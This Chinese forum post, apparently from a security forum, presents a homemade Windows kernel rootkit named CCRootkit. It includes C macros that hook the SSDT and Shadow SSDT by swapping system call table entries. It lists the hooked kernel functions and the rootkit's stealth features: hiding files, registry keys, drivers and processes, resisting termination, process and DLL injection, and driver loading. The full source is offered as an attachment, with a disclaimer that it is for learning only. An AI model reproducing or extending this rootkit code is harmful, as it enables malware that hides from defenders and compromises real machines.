这里写的ROOTKIT比较简单(有些代码是消化别人的代码后改写过来的),高手跳过.......
包含以下内容:(详细请看源代码)
SSDT Hook
//hook system call
#define HOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ], \
          (LONG)pHookFunc)
       
//unhook system call   
#define UNHOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ],\
          (LONG)pOrigFunc)
SSDT HOOK了如下函数:
ZwQueryValueKey
ZwEnumerateValueKey
ZwQueryDirectoryFile
ZwOpenProcess
ZwDeleteKey
ZwDeleteValueKey
ZwSaveKey
ZwLoadDriver
ZwSetSystemInformation
ZwTerminateProcess

Shadow Hook
仿照SSDT HOOK,下面定义两个宏,让Shadow Hook和SSDT Hook一样简单!
//hook shadow system call
#define HOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ], \
          (LONG)pHookFunc)
       
//unhook shadow system call   
#define UNHOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ],\
          (LONG)pOrigFunc)
上周一接到腾讯的电话面试,由于有一段时间没研究HOOK了,问到Shadow Hook时没回答好!汗!
现在把Shadow Hook重新整理了一下!
Shadow Hook了如下函数,程序框架比较好,容易加入新挂钩函数
NtUserFindWindowEx
NtUserGetForegroundWindow
NtUserQueryWindow
NtUserBuildHwndList
NtUserWindowFromPoint
NtUserSetWindowsHookEx
NtUserGetDC
NtUserGetDCEx
NtUserSendInput

为了保护进程,研究了终止进程的方法
WINDOWS内核定时器
老土的文件/目录隐藏
注册表键值隐藏
驱动隐藏
系统线程
IRP文件操作

多种加载内核级ROOTKIT方法
Ring3中恢复SSDT(ZwSystemDebugControl)
从资源释放文件
远程进程注入
消息钩子注入DLL
查找窗口
查找进程

注意:不要随便运行程序,最好在虚拟机下运行!此程序仅供学习WINDOWS内核驱动编程用!
在自己的ntddk.h中的结构IO_STACK_LOCATION添加如下代码才能顺利通过编译:
//Parameters for IRP_MJ_DIRECTORY_CONTROL
struct {
   ULONG Length;
   PUNICODE_STRING FileName;
   FILE_INFORMATION_CLASS POINTER_ALIGNMENT \
   FileInformationClass;
} QueryDirectory;
下面两图分别是程序启动信息和在Ring0恢复SSDT:


上传的附件 CCRootkit-V0.1.rar [解压密码:pediy]